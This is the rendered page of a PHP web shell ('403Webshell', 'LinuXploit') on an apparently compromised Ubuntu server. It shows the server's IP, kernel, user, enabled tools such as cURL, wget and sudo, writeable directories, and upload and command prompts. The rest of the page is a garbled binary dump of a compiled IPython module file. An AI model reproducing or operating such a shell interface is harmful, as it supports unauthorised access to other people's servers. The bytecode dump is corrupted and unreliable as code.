403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/utils/__pycache__/module_paths.cpython-312.pyc
�

}�e	���dZddlZddlZd�Zy)z[Utility functions for finding modules

Utility functions for finding modules on sys.path.

�Nc���tjj|�}|j}|�)|jt
jvr|jSy|jd�}|ddvr|Sy)a�
    Find module `module_name` on sys.path, and return the path to module `module_name`.

    * If `module_name` refers to a module directory, then return path to `__init__` file.
        * If `module_name` is a directory without an __init__file, return None.

    * If module is missing or does not have a `.py` or `.pyw` extension, return None.
        * Note that we are not interested in running bytecode.

    * Otherwise, return the fill path of the module.

    Parameters
    ----------
    module_name : str

    Returns
    -------
    module_path : str
        Path to module `module_name`, its __init__.py, or None,
        depending on above conditions.
    N�.���)�py�pyw)�	importlib�util�	find_spec�origin�loader�sys�	meta_path�split)�module_name�spec�module_path�
split_paths    �</usr/lib/python3/dist-packages/IPython/utils/module_paths.py�find_modr'si��,�>�>�#�#�K�0�D��+�+�K����;�;�#�-�-�'��;�;��� �&�&�s�+�
��b�>�]�*����)�__doc__rr
r�rr�<module>rs���$�
�&!r

Youez - 2016 - github.com/yon3zu
LinuXploit